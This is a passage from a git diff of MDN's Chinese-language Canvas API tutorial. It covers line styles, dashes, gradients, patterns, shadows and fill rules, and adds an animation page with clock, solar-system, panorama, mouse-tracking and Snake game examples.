最左边的线用了默认的 butt 。可以注意到它是与辅助线齐平的。中间的是 round 的效果,端点处加上了半径为一半线宽的半圆。右边的是 square 的效果,端点处加上了等宽且高度为一半线宽的方块。

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  var lineCap = ['butt','round','square'];
+
+  // 创建路径
+  ctx.strokeStyle = '#09f';
+  ctx.beginPath();
+  ctx.moveTo(10,10);
+  ctx.lineTo(140,10);
+  ctx.moveTo(10,140);
+  ctx.lineTo(140,140);
+  ctx.stroke();
+
+  // 画线条
+  ctx.strokeStyle = 'black';
+  for (var i=0;i<lineCap.length;i++){
+    ctx.lineWidth = 15;
+    ctx.lineCap = lineCap[i];
+    ctx.beginPath();
+    ctx.moveTo(25+i*50,10);
+    ctx.lineTo(25+i*50,140);
+    ctx.stroke();
+  }
+}
+
+ + + +

{{EmbedLiveSample("A_lineCap_example", "180", "180", "https://mdn.mozillademos.org/files/236/Canvas_linecap.png")}}

+ +

lineJoin 属性的例子

+ +

lineJoin 的属性值决定了图形中两线段连接处所显示的样子。它可以是这三种之一:round, bevelmiter。默认是 miter

+ +

这里我同样用三条折线来做例子,分别设置不同的 lineJoin 值。最上面一条是 round 的效果,边角处被磨圆了,圆的半径等于线宽。中间和最下面一条分别是 bevel 和 miter 的效果。当值是 miter 的时候,线段会在连接处外侧延伸直至交于一点,延伸效果受到下面将要介绍的 miterLimit 属性的制约。

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  var lineJoin = ['round', 'bevel', 'miter'];
+  ctx.lineWidth = 10;
+  for (var i = 0; i < lineJoin.length; i++) {
+    ctx.lineJoin = lineJoin[i];
+    ctx.beginPath();
+    ctx.moveTo(-5, 5 + i * 40);
+    ctx.lineTo(35, 45 + i * 40);
+    ctx.lineTo(75, 5 + i * 40);
+    ctx.lineTo(115, 45 + i * 40);
+    ctx.lineTo(155, 5 + i * 40);
+    ctx.stroke();
+  }
+}
+
+ + + +

{{EmbedLiveSample("A_lineJoin_example", "180", "180", "https://mdn.mozillademos.org/files/237/Canvas_linejoin.png")}}

+ +

miterLimit 属性的演示例子

+ +

就如上一个例子所见的应用 miter 的效果,线段的外侧边缘会被延伸交汇于一点上。线段之间夹角比较大时,交点不会太远,但随着夹角变小,交点距离会呈指数级增大。

+ +

miterLimit 属性就是用来设定外延交点与连接点的最大距离,如果交点距离大于此值,连接效果会变成了 bevel。注意,最大斜接长度(即交点距离)是当前坐标系测量线宽与此miterLimit属性值(HTML {{HTMLElement("canvas")}}默认为10.0)的乘积,所以miterLimit可以单独设置,不受显示比例改变或任何仿射变换的影响:它只影响线条边缘的有效绘制形状。

+ +

更准确的说,斜接限定值(miterLimit)是延伸长度(在HTML Canvas中,这个值是线段外连接点与路径中指定的点之间的距离)与一半线宽的最大允许比值。它也可以被等效定义为线条内外连接点距离(miterLength)与线宽(lineWidth)的最大允许比值(因为路径点是内外连接点的中点)。这等同于相交线段最小内夹角(θ )的一半的余割值,小于此角度的斜接将不会被渲染,而仅渲染斜边连接:

+ + + +

在下面的小示例中,您可以动态的设置miterLimit的值并查看它对画布中图形的影响。蓝色线条指出了锯齿图案中每个线条的起点与终点(同时也是不同线段之间的连接点)。

+ +

在此示例中,当您设定miterLimit的值小于4.2时,图形可见部分的边角不会延伸相交,而是在蓝色线条边呈现斜边连接效果;当miterLimit的值大于10.0时,此例中大部分的边角都会在远离蓝线的位置相交,且从左至右,距离随着夹角的增大而减小;而介于上述值之间的值所呈现的效果,也介于两者之间。

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // 清空画布
+  ctx.clearRect(0, 0, 150, 150);
+
+  // 绘制参考线
+  ctx.strokeStyle = '#09f';
+  ctx.lineWidth   = 2;
+  ctx.strokeRect(-5, 50, 160, 50);
+
+  // 设置线条样式
+  ctx.strokeStyle = '#000';
+  ctx.lineWidth = 10;
+
+  // 检查输入
+  if (document.getElementById('miterLimit').value.match(/\d+(\.\d+)?/)) {
+    ctx.miterLimit = parseFloat(document.getElementById('miterLimit').value);
+  } else {
+    alert('Value must be a positive number');
+  }
+
+  // 绘制线条
+  ctx.beginPath();
+  ctx.moveTo(0, 100);
+  for (i = 0; i < 24 ; i++) {
+    var dy = i % 2 == 0 ? 25 : -25;
+    ctx.lineTo(Math.pow(i, 1.5) * 2, 75 + dy);
+  }
+  ctx.stroke();
+  return false;
+}
+ + + +

 {{EmbedLiveSample("A_demo_of_the_miterLimit_property", "500", "240", "https://mdn.mozillademos.org/files/240/Canvas_miterlimit.png")}}

+ +

使用虚线

+ +

用 setLineDash 方法和 lineDashOffset 属性来制定虚线样式. setLineDash 方法接受一个数组,来指定线段与间隙的交替;lineDashOffset 属性设置起始偏移量.

+ +

在这个例子中,我们要创建一个蚂蚁线的效果。它往往应用在计算机图形程序选区工具动效中。它可以帮助用户通过动画的边界来区分图像背景选区边框。在本教程的后面部分,你可以学习如何实现这一点和其他基本的动画

+ + + +
var ctx = document.getElementById('canvas').getContext('2d');
+var offset = 0;
+
+function draw() {
+  ctx.clearRect(0,0, canvas.width, canvas.height);
+  ctx.setLineDash([4, 2]);
+  ctx.lineDashOffset = -offset;
+  ctx.strokeRect(10,10, 100, 100);
+}
+
+function march() {
+  offset++;
+  if (offset > 16) {
+    offset = 0;
+  }
+  draw();
+  setTimeout(march, 20);
+}
+
+march();
+
+ +

{{EmbedLiveSample("Using_line_dashes", "120", "120", "https://mdn.mozillademos.org/files/9853/marching-ants.png")}}

+ +

渐变 Gradients

+ +

就好像一般的绘图软件一样,我们可以用线性或者径向的渐变来填充或描边。我们用下面的方法新建一个 canvasGradient 对象,并且赋给图形的 fillStylestrokeStyle 属性。

+ +
+
{{domxref("CanvasRenderingContext2D.createLinearGradient", "createLinearGradient(x1, y1, x2, y2)")}}
+
createLinearGradient 方法接受 4 个参数,表示渐变的起点 (x1,y1) 与终点 (x2,y2)。
+
{{domxref("CanvasRenderingContext2D.createRadialGradient", "createRadialGradient(x1, y1, r1, x2, y2, r2)")}}
+
createRadialGradient 方法接受 6 个参数,前三个定义一个以 (x1,y1) 为原点,半径为 r1 的圆,后三个参数则定义另一个以 (x2,y2) 为原点,半径为 r2 的圆。
+
+ +
var lineargradient = ctx.createLinearGradient(0,0,150,150);
+var radialgradient = ctx.createRadialGradient(75,75,0,75,75,100);
+
+ +

创建出 canvasGradient 对象后,我们就可以用 addColorStop 方法给它上色了。

+ +
+
{{domxref("CanvasGradient.addColorStop", "gradient.addColorStop(position, color)")}}
+
addColorStop 方法接受 2 个参数,position 参数必须是一个 0.0 与 1.0 之间的数值,表示渐变中颜色所在的相对位置。例如,0.5 表示颜色会出现在正中间。color 参数必须是一个有效的 CSS 颜色值(如 #FFF, rgba(0,0,0,1),等等)。
+
+ +

你可以根据需要添加任意多个色标(color stops)。下面是最简单的线性黑白渐变的例子。

+ +
var lineargradient = ctx.createLinearGradient(0,0,150,150);
+lineargradient.addColorStop(0,'white');
+lineargradient.addColorStop(1,'black');
+
+ +

createLinearGradient 的例子

+ +

本例中,我弄了两种不同的渐变。第一种是背景色渐变,你会发现,我给同一位置设置了两种颜色,你也可以用这来实现突变的效果,就像这里从白色到绿色的突变。一般情况下,色标的定义是无所谓顺序的,但是色标位置重复时,顺序就变得非常重要了。所以,保持色标定义顺序和它理想的顺序一致,结果应该没什么大问题。

+ +

第二种渐变,我并不是从 0.0 位置开始定义色标,因为那并不是那么严格的。在 0.5 处设一黑色色标,渐变会默认认为从起点到色标之间都是黑色。

+ +

你会发现,strokeStylefillStyle 属性都可以接受 canvasGradient 对象。

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // Create gradients
+  var lingrad = ctx.createLinearGradient(0,0,0,150);
+  lingrad.addColorStop(0, '#00ABEB');
+  lingrad.addColorStop(0.5, '#fff');
+  lingrad.addColorStop(0.5, '#26C000');
+  lingrad.addColorStop(1, '#fff');
+
+  var lingrad2 = ctx.createLinearGradient(0,50,0,95);
+  lingrad2.addColorStop(0.5, '#000');
+  lingrad2.addColorStop(1, 'rgba(0,0,0,0)');
+
+  // assign gradients to fill and stroke styles
+  ctx.fillStyle = lingrad;
+  ctx.strokeStyle = lingrad2;
+
+  // draw shapes
+  ctx.fillRect(10,10,130,130);
+  ctx.strokeRect(50,50,50,50);
+
+}
+
+ + + +

{{EmbedLiveSample("A_createLinearGradient_example", "180", "180", "https://mdn.mozillademos.org/files/235/Canvas_lineargradient.png")}}

+ +

createRadialGradient 的例子

+ +

这个例子,我定义了 4 个不同的径向渐变。由于可以控制渐变的起始与结束点,所以我们可以实现一些比(如在 Photoshop 中所见的)经典的径向渐变更为复杂的效果。(经典的径向渐变是只有一个中心点,简单地由中心点向外围的圆形扩张)

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // 创建渐变
+  var radgrad = ctx.createRadialGradient(45,45,10,52,50,30);
+  radgrad.addColorStop(0, '#A7D30C');
+  radgrad.addColorStop(0.9, '#019F62');
+  radgrad.addColorStop(1, 'rgba(1,159,98,0)');
+
+  var radgrad2 = ctx.createRadialGradient(105,105,20,112,120,50);
+  radgrad2.addColorStop(0, '#FF5F98');
+  radgrad2.addColorStop(0.75, '#FF0188');
+  radgrad2.addColorStop(1, 'rgba(255,1,136,0)');
+
+  var radgrad3 = ctx.createRadialGradient(95,15,15,102,20,40);
+  radgrad3.addColorStop(0, '#00C9FF');
+  radgrad3.addColorStop(0.8, '#00B5E2');
+  radgrad3.addColorStop(1, 'rgba(0,201,255,0)');
+
+  var radgrad4 = ctx.createRadialGradient(0,150,50,0,140,90);
+  radgrad4.addColorStop(0, '#F4F201');
+  radgrad4.addColorStop(0.8, '#E4C700');
+  radgrad4.addColorStop(1, 'rgba(228,199,0,0)');
+
+  // 画图形
+  ctx.fillStyle = radgrad4;
+  ctx.fillRect(0,0,150,150);
+  ctx.fillStyle = radgrad3;
+  ctx.fillRect(0,0,150,150);
+  ctx.fillStyle = radgrad2;
+  ctx.fillRect(0,0,150,150);
+  ctx.fillStyle = radgrad;
+  ctx.fillRect(0,0,150,150);
+}
+
+ + + +

这里,我让起点稍微偏离终点,这样可以达到一种球状 3D 效果。但最好不要让里圆与外圆部分交叠,那样会产生什么效果就真是不得而知了。

+ +

4 个径向渐变效果的最后一个色标都是透明色。如果想要两色标直接的过渡柔和一些,只要两个颜色值一致就可以了。代码里面看不出来,是因为我用了两种不同的颜色表示方法,但其实是相同的#019F62 = rgba(1,159,98,1)。

+ +

{{EmbedLiveSample("A_createRadialGradient_example", "180", "180", "https://mdn.mozillademos.org/files/244/Canvas_radialgradient.png")}}

+ +

图案样式 Patterns

+ +

上一节的一个例子里面,我用了循环来实现图案的效果。其实,有一个更加简单的方法:createPattern。

+ +
+
{{domxref("CanvasRenderingContext2D.createPattern", "createPattern(image, type)")}}
+
该方法接受两个参数。Image 可以是一个 Image 对象的引用,或者另一个 canvas 对象。Type 必须是下面的字符串值之一:repeatrepeat-xrepeat-yno-repeat
+
+ +
注意: 用 canvas 对象作为 Image 参数在 Firefox 1.5 (Gecko 1.8) 中是无效的。
+ +

图案的应用跟渐变很类似的,创建出一个 pattern 之后,赋给 fillStylestrokeStyle 属性即可。

+ +
var img = new Image();
+img.src = 'someimage.png';
+var ptrn = ctx.createPattern(img,'repeat');
+
+ +
+

注意:与 drawImage 有点不同,你需要确认 image 对象已经装载完毕,否则图案可能效果不对的。

+
+ +

createPattern 的例子

+ +

在最后的例子中,我创建一个图案然后赋给了 fillStyle 属性。唯一要注意的是,使用 Image 对象的 onload handler 来确保设置图案之前图像已经装载完毕。

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // 创建新 image 对象,用作图案
+  var img = new Image();
+  img.src = 'https://mdn.mozillademos.org/files/222/Canvas_createpattern.png';
+  img.onload = function() {
+
+    // 创建图案
+    var ptrn = ctx.createPattern(img, 'repeat');
+    ctx.fillStyle = ptrn;
+    ctx.fillRect(0, 0, 150, 150);
+
+  }
+}
+
+ + + +

{{EmbedLiveSample("A_createPattern_example", "180", "180", "https://mdn.mozillademos.org/files/222/Canvas_createpattern.png")}}

+ +

阴影 Shadows

+ +
+
{{domxref("CanvasRenderingContext2D.shadowOffsetX", "shadowOffsetX = float")}}
+
+

shadowOffsetX shadowOffsetY 用来设定阴影在 X 和 Y 轴的延伸距离,它们是不受变换矩阵所影响的。负值表示阴影会往上或左延伸,正值则表示会往下或右延伸,它们默认都为 0

+
+
{{domxref("CanvasRenderingContext2D.shadowOffsetY", "shadowOffsetY = float")}}
+
shadowOffsetX shadowOffsetY 用来设定阴影在 X 和 Y 轴的延伸距离,它们是不受变换矩阵所影响的。负值表示阴影会往上或左延伸,正值则表示会往下或右延伸,它们默认都为 0
+
{{domxref("CanvasRenderingContext2D.shadowBlur", "shadowBlur = float")}}
+
shadowBlur 用于设定阴影的模糊程度,其数值并不跟像素数量挂钩,也不受变换矩阵的影响,默认为 0
+
{{domxref("CanvasRenderingContext2D.shadowColor", "shadowColor = color")}}
+
shadowColor 是标准的 CSS 颜色值,用于设定阴影颜色效果,默认是全透明的黑色。
+
+ +

文字阴影的例子

+ +

这个例子绘制了带阴影效果的文字。

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  ctx.shadowOffsetX = 2;
+  ctx.shadowOffsetY = 2;
+  ctx.shadowBlur = 2;
+  ctx.shadowColor = "rgba(0, 0, 0, 0.5)";
+
+  ctx.font = "20px Times New Roman";
+  ctx.fillStyle = "Black";
+  ctx.fillText("Sample String", 5, 30);
+}
+
+ + + +

{{EmbedLiveSample("A_shadowed_text_example", "180", "100", "https://mdn.mozillademos.org/files/2505/shadowed-string.png")}}

+ +

我们可以通过下一章来了解文字属性和fillText方法相关的内容。

+ +

Canvas 填充规则

+ +

当我们用到 fill(或者 {{domxref("CanvasRenderingContext2D.clip", "clip")}}和{{domxref("CanvasRenderingContext2D.isPointInPath", "isPointinPath")}} )你可以选择一个填充规则,该填充规则根据某处在路径的外面或者里面来决定该处是否被填充,这对于自己与自己路径相交或者路径被嵌套的时候是有用的。

+ +

两个可能的值:

+ + + +

这个例子,我们用填充规则 evenodd

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.beginPath();
+  ctx.arc(50, 50, 30, 0, Math.PI*2, true);
+  ctx.arc(50, 50, 15, 0, Math.PI*2, true);
+  ctx.fill("evenodd");
+}
+
+ + + +

{{EmbedLiveSample("Canvas_fill_rules", "110", "110", "https://mdn.mozillademos.org/files/9855/fill-rule.png")}}

+ +

{{PreviousNext("Web/API/Canvas_API/Tutorial/Drawing_shapes", "Web/API/Canvas_API/Tutorial/Drawing_text")}}

diff --git a/files/zh-cn/web/api/canvas_api/tutorial/basic_animations/index.html b/files/zh-cn/web/api/canvas_api/tutorial/basic_animations/index.html new file mode 100644 index 0000000000..531fef8cb1 --- /dev/null +++ b/files/zh-cn/web/api/canvas_api/tutorial/basic_animations/index.html @@ -0,0 +1,718 @@ +--- +title: 基本的动画 +slug: Web/API/Canvas_API/Tutorial/Basic_animations +tags: + - Canvas + - HTML5 + - 动画 + - 图像 + - 教程 + - 进阶 +translation_of: Web/API/Canvas_API/Tutorial/Basic_animations +--- +
{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Compositing", "Web/API/Canvas_API/Tutorial/Advanced_animations")}}
+ +
+

由于我们是用 JavaScript 去操控 {{HTMLElement("canvas")}} 对象,这样要实现一些交互动画也是相当容易的。在本章中,我们将看看如何做一些基本的动画。

+
+ +

可能最大的限制就是图像一旦绘制出来,它就是一直保持那样了。如果需要移动它,我们不得不对所有东西(包括之前的)进行重绘。重绘是相当费时的,而且性能很依赖于电脑的速度。

+ +

动画的基本步骤

+ +

你可以通过以下的步骤来画出一帧:

+ +
    +
  1. 清空 canvas
    + 除非接下来要画的内容会完全充满 canvas (例如背景图),否则你需要清空所有。最简单的做法就是用 clearRect 方法。
  2. +
  3. 保存 canvas 状态
    + 如果你要改变一些会改变 canvas 状态的设置(样式,变形之类的),又要在每画一帧之时都是原始状态的话,你需要先保存一下。
  4. +
  5. 绘制动画图形(animated shapes)
    + 这一步才是重绘动画帧。
  6. +
  7. 恢复 canvas 状态
    + 如果已经保存了 canvas 的状态,可以先恢复它,然后重绘下一帧。
  8. +
+ +

操控动画 Controlling an animation

+ +

在 canvas 上绘制内容是用 canvas 提供的或者自定义的方法,而通常,我们仅仅在脚本执行结束后才能看见结果,比如说,在 for 循环里面做完成动画是不太可能的。

+ +

因此, 为了实现动画,我们需要一些可以定时执行重绘的方法。有两种方法可以实现这样的动画操控。首先可以通过 setIntervalsetTimeout 方法来控制在设定的时间点上执行重绘。

+ +

有安排的更新画布 Scheduled updates

+ +

首先,可以用{{domxref("window.setInterval()")}}, {{domxref("window.setTimeout()")}},和{{domxref("window.requestAnimationFrame()")}}来设定定期执行一个指定函数。

+ +
+
{{domxref("WindowTimers.setInterval", "setInterval(function, delay)")}}
+
当设定好间隔时间后,function会定期执行。
+
{{domxref("WindowTimers.setTimeout", "setTimeout(function, delay)")}}
+
在设定好的时间之后执行函数
+
+
{{domxref("Window.requestAnimationFrame()", "requestAnimationFrame(callback)")}}
+
告诉浏览器你希望执行一个动画,并在重绘之前,请求浏览器执行一个特定的函数来更新动画。
+
+ +

如果你并不需要与用户互动,你可以使用setInterval()方法,它就可以定期执行指定代码。如果我们需要做一个游戏,我们可以使用键盘或者鼠标事件配合上setTimeout()方法来实现。通过设置事件监听,我们可以捕捉用户的交互,并执行相应的动作。

+ +
+

下面的例子,采用 {{domxref("window.requestAnimationFrame()")}}实现动画效果。这个方法提供了更加平缓并更加有效率的方式来执行动画,当系统准备好了重绘条件的时候,才调用绘制动画帧。一般每秒钟回调函数执行60次,也有可能会被降低。想要了解更多关于动画循环的信息,尤其是游戏,可以在Game development zone 参考这篇文章 Anatomy of a video game

+
+ +

太阳系的动画

+ +

这个例子里面,我会做一个小型的太阳系模拟动画。

+ +
var sun = new Image();
+var moon = new Image();
+var earth = new Image();
+function init(){
+  sun.src = 'https://mdn.mozillademos.org/files/1456/Canvas_sun.png';
+  moon.src = 'https://mdn.mozillademos.org/files/1443/Canvas_moon.png';
+  earth.src = 'https://mdn.mozillademos.org/files/1429/Canvas_earth.png';
+  window.requestAnimationFrame(draw);
+}
+
+function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  ctx.globalCompositeOperation = 'destination-over';
+  ctx.clearRect(0,0,300,300); // clear canvas
+
+  ctx.fillStyle = 'rgba(0,0,0,0.4)';
+  ctx.strokeStyle = 'rgba(0,153,255,0.4)';
+  ctx.save();
+  ctx.translate(150,150);
+
+  // Earth
+  var time = new Date();
+  ctx.rotate( ((2*Math.PI)/60)*time.getSeconds() + ((2*Math.PI)/60000)*time.getMilliseconds() );
+  ctx.translate(105,0);
+  ctx.fillRect(0,-12,50,24); // Shadow
+  ctx.drawImage(earth,-12,-12);
+
+  // Moon
+  ctx.save();
+  ctx.rotate( ((2*Math.PI)/6)*time.getSeconds() + ((2*Math.PI)/6000)*time.getMilliseconds() );
+  ctx.translate(0,28.5);
+  ctx.drawImage(moon,-3.5,-3.5);
+  ctx.restore();
+
+  ctx.restore();
+
+  ctx.beginPath();
+  ctx.arc(150,150,105,0,Math.PI*2,false); // Earth orbit
+  ctx.stroke();
+
+  ctx.drawImage(sun,0,0,300,300);
+
+  window.requestAnimationFrame(draw);
+}
+
+init();
+
+ + + +

{{EmbedLiveSample("太阳系的动画", "310", "310", "https://mdn.mozillademos.org/files/202/Canvas_animation1.png")}}

+ +

动画时钟

+ +

这个例子实现一个动态时钟, 可以显示当前时间。

+ +
function clock(){
+  var now = new Date();
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.save();
+  ctx.clearRect(0,0,150,150);
+  ctx.translate(75,75);
+  ctx.scale(0.4,0.4);
+  ctx.rotate(-Math.PI/2);
+  ctx.strokeStyle = "black";
+  ctx.fillStyle = "white";
+  ctx.lineWidth = 8;
+  ctx.lineCap = "round";
+
+  // Hour marks
+  ctx.save();
+  for (var i=0;i<12;i++){
+    ctx.beginPath();
+    ctx.rotate(Math.PI/6);
+    ctx.moveTo(100,0);
+    ctx.lineTo(120,0);
+    ctx.stroke();
+  }
+  ctx.restore();
+
+  // Minute marks
+  ctx.save();
+  ctx.lineWidth = 5;
+  for (i=0;i<60;i++){
+    if (i%5!=0) {
+      ctx.beginPath();
+      ctx.moveTo(117,0);
+      ctx.lineTo(120,0);
+      ctx.stroke();
+    }
+    ctx.rotate(Math.PI/30);
+  }
+  ctx.restore();
+
+  var sec = now.getSeconds();
+  var min = now.getMinutes();
+  var hr  = now.getHours();
+  hr = hr>=12 ? hr-12 : hr;
+
+  ctx.fillStyle = "black";
+
+  // write Hours
+  ctx.save();
+  ctx.rotate( hr*(Math.PI/6) + (Math.PI/360)*min + (Math.PI/21600)*sec )
+  ctx.lineWidth = 14;
+  ctx.beginPath();
+  ctx.moveTo(-20,0);
+  ctx.lineTo(80,0);
+  ctx.stroke();
+  ctx.restore();
+
+  // write Minutes
+  ctx.save();
+  ctx.rotate( (Math.PI/30)*min + (Math.PI/1800)*sec )
+  ctx.lineWidth = 10;
+  ctx.beginPath();
+  ctx.moveTo(-28,0);
+  ctx.lineTo(112,0);
+  ctx.stroke();
+  ctx.restore();
+
+  // Write seconds
+  ctx.save();
+  ctx.rotate(sec * Math.PI/30);
+  ctx.strokeStyle = "#D40000";
+  ctx.fillStyle = "#D40000";
+  ctx.lineWidth = 6;
+  ctx.beginPath();
+  ctx.moveTo(-30,0);
+  ctx.lineTo(83,0);
+  ctx.stroke();
+  ctx.beginPath();
+  ctx.arc(0,0,10,0,Math.PI*2,true);
+  ctx.fill();
+  ctx.beginPath();
+  ctx.arc(95,0,10,0,Math.PI*2,true);
+  ctx.stroke();
+  ctx.fillStyle = "rgba(0,0,0,0)";
+  ctx.arc(0,0,3,0,Math.PI*2,true);
+  ctx.fill();
+  ctx.restore();
+
+  ctx.beginPath();
+  ctx.lineWidth = 14;
+  ctx.strokeStyle = '#325FA2';
+  ctx.arc(0,0,142,0,Math.PI*2,true);
+  ctx.stroke();
+
+  ctx.restore();
+
+  window.requestAnimationFrame(clock);
+}
+
+window.requestAnimationFrame(clock);
+
+ + + +

{{EmbedLiveSample("动画时钟", "180", "180", "https://mdn.mozillademos.org/files/203/Canvas_animation2.png")}}

+ +

循环全景照片

+ +

在这个例子中,会有一个自左向右滑动的全景图。我们使用了在维基百科中找到的尤塞米提国家公园的图片,当然你可以随意找一张任何尺寸大于canvas的图片。

+ +
var img = new Image();
+
+// User Variables - customize these to change the image being scrolled, its
+// direction, and the speed.
+
+img.src = 'https://mdn.mozillademos.org/files/4553/Capitan_Meadows,_Yosemite_National_Park.jpg';
+var CanvasXSize = 800;
+var CanvasYSize = 200;
+var speed = 30; // lower is faster
+var scale = 1.05;
+var y = -4.5; // vertical offset
+
+// Main program
+
+var dx = 0.75;
+var imgW;
+var imgH;
+var x = 0;
+var clearX;
+var clearY;
+var ctx;
+
+img.onload = function() {
+    imgW = img.width * scale;
+    imgH = img.height * scale;
+
+    if (imgW > CanvasXSize) {
+        // image larger than canvas
+        x = CanvasXSize - imgW;
+    }
+    if (imgW > CanvasXSize) {
+        // image width larger than canvas
+        clearX = imgW;
+    } else {
+        clearX = CanvasXSize;
+    }
+    if (imgH > CanvasYSize) {
+        // image height larger than canvas
+        clearY = imgH;
+    } else {
+        clearY = CanvasYSize;
+    }
+
+    // get canvas context
+    ctx = document.getElementById('canvas').getContext('2d');
+
+    // set refresh rate
+    return setInterval(draw, speed);
+}
+
+function draw() {
+    ctx.clearRect(0, 0, clearX, clearY); // clear the canvas
+
+    // if image is <= Canvas Size
+    if (imgW <= CanvasXSize) {
+        // reset, start from beginning
+        if (x > CanvasXSize) {
+            x = -imgW + x;
+        }
+        // draw additional image1
+        if (x > 0) {
+            ctx.drawImage(img, -imgW + x, y, imgW, imgH);
+        }
+        // draw additional image2
+        if (x - imgW > 0) {
+            ctx.drawImage(img, -imgW * 2 + x, y, imgW, imgH);
+        }
+    }
+
+    // image is > Canvas Size
+    else {
+        // reset, start from beginning
+        if (x > (CanvasXSize)) {
+            x = CanvasXSize - imgW;
+        }
+        // draw aditional image
+        if (x > (CanvasXSize-imgW)) {
+            ctx.drawImage(img, x - imgW + 1, y, imgW, imgH);
+        }
+    }
+    // draw image
+    ctx.drawImage(img, x, y,imgW, imgH);
+    // amount to move
+    x += dx;
+}
+ + + +

下方就是是图片在其中滑动的 {{HTMLElement("canvas")}}。需要注意的是这里定义的width和height必须与JavaScript代码中的变量值CanvasXZSizeCanvasYSize保持一致。 

+ +
<canvas id="canvas" width="800" height="200"></canvas>
+ +

{{EmbedLiveSample("循环全景照片", "830", "230")}}

+ +

鼠标追踪动画

+ +
<!DOCTYPE html>
+<html lang="en">
+    <head>
+        <meta charset="UTF-8">
+        <meta name="viewport" content="width=device-width, initial-scale=1.0">
+        <meta http-equiv="X-UA-Compatible" content="ie=edge">
+        <title>Document</title>
+        <script>
+            var cn;
+            //= document.getElementById('cw');
+            var c;
+            var u = 10;
+            const m = {
+                x: innerWidth / 2,
+                y: innerHeight / 2
+            };
+            window.onmousemove = function(e) {
+                m.x = e.clientX;
+                m.y = e.clientY;
+
+            }
+            function gc() {
+                var s = "0123456789ABCDEF";
+                var c = "#";
+                for (var i = 0; i < 6; i++) {
+                    c += s[Math.ceil(Math.random() * 15)]
+                }
+                return c
+            }
+            var a = [];
+            window.onload = function myfunction() {
+                cn = document.getElementById('cw');
+                c = cn.getContext('2d');
+
+                for (var i = 0; i < 10; i++) {
+                    var r = 30;
+                    var x = Math.random() * (innerWidth - 2 * r) + r;
+                    var y = Math.random() * (innerHeight - 2 * r) + r;
+                    var t = new ob(innerWidth / 2,innerHeight / 2,5,"red",Math.random() * 200 + 20,2);
+                    a.push(t);
+                }
+                //cn.style.backgroundColor = "#700bc8";
+
+                c.lineWidth = "2";
+                c.globalAlpha = 0.5;
+                resize();
+                anim()
+            }
+            window.onresize = function() {
+
+                resize();
+
+            }
+            function resize() {
+                cn.height = innerHeight;
+                cn.width = innerWidth;
+                for (var i = 0; i < 101; i++) {
+                    var r = 30;
+                    var x = Math.random() * (innerWidth - 2 * r) + r;
+                    var y = Math.random() * (innerHeight - 2 * r) + r;
+                    a[i] = new ob(innerWidth / 2,innerHeight / 2,4,gc(),Math.random() * 200 + 20,0.02);
+
+                }
+                //  a[0] = new ob(innerWidth / 2, innerHeight / 2, 40, "red", 0.05, 0.05);
+                //a[0].dr();
+            }
+            function ob(x, y, r, cc, o, s) {
+                this.x = x;
+                this.y = y;
+                this.r = r;
+                this.cc = cc;
+                this.theta = Math.random() * Math.PI * 2;
+                this.s = s;
+                this.o = o;
+                this.t = Math.random() * 150;
+
+                this.o = o;
+                this.dr = function() {
+                    const ls = {
+                        x: this.x,
+                        y: this.y
+                    };
+                    this.theta += this.s;
+                    this.x = m.x + Math.cos(this.theta) * this.t;
+                    this.y = m.y + Math.sin(this.theta) * this.t;
+                    c.beginPath();
+                    c.lineWidth = this.r;
+                    c.strokeStyle = this.cc;
+                    c.moveTo(ls.x, ls.y);
+                    c.lineTo(this.x, this.y);
+                    c.stroke();
+                    c.closePath();
+
+                }
+            }
+            function anim() {
+                requestAnimationFrame(anim);
+                c.fillStyle = "rgba(0,0,0,0.05)";
+                c.fillRect(0, 0, cn.width, cn.height);
+                a.forEach(function(e, i) {
+                    e.dr();
+                });
+
+            }
+        </script>
+        <style>
+            #cw {
+                position: fixed;
+                z-index: -1;
+            }
+
+            body {
+                margin: 0;
+                padding: 0;
+                background-color: rgba(0,0,0,0.05);
+            }
+        </style>
+    </head>
+    <body>
+        <canvas id="cw"></canvas>
+        qwerewr
+
+    </body>
+</html>
+
+ +
OutPut
+ + + + + + + +
+

beyblade

+
+ +

Snake Game

+ +
<!DOCTYPE html>
+<html lang="en">
+
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width,initial-scale=1">
+    <meta http-equiv="X-UA-Compatible" content="ie=edge">
+    <title>Nokia 1100:snake..Member berries</title>
+</head>
+
+<body>
+    <div class="keypress hide">
+        <div class="up" onclick="emit(38)">&#8593;</div>
+        <div class="right" onclick="emit(39)">&#8594;</div>
+        <div class="left" onclick="emit(37)">&#8592;</div>
+        <div class="down" onclick="emit(40)">&#8595;</div>
+    </div>
+    <div class="banner" id="selector">
+        <div>
+            Time :<span id="time">0</span>
+        </div>
+        <div>LousyGames ©</div>
+        <div>
+            Score :<span id="score">0</span>
+        </div>
+        <div class="touch off" onclick="touch(this)">touch</div>
+    </div>
+    <canvas id="main"></canvas>
+</body>
+<style>
+    body {
+        margin: 0;
+        overflow: hidden;
+        background: #000
+    }
+
+    .banner {
+        text-align: center;
+        color: #fff;
+        background: #3f51b5;
+        line-height: 29px;
+        position: fixed;
+        left: 0;
+        top: 0;
+        right: 0;
+        font-family: monospace;
+        height: 30px;
+        opacity: .4;
+        display: flex;
+        transition: .5s
+    }
+
+    .banner:hover {
+        opacity: 1
+    }
+
+    div#selector>div {
+        flex-basis: 30%
+    }
+
+    @keyframes diss {
+        from {
+            opacity: 1
+        }
+
+        to {
+            opacity: 0
+        }
+    }
+
+    .keypress>div {
+        border: dashed 3px #fff;
+        height: 48%;
+        width: 48%;
+        display: flex;
+        align-content: center;
+        justify-content: center;
+        align-self: center;
+        align-items: center;
+        font-size: -webkit-xxx-large;
+        font-weight: 900;
+        color: #fff;
+        transition: .5s;
+        opacity: .1;
+        border-radius: 7px
+    }
+
+    .keypress {
+        position: fixed;
+        width: 100vw;
+        height: 100vh;
+        top: 0;
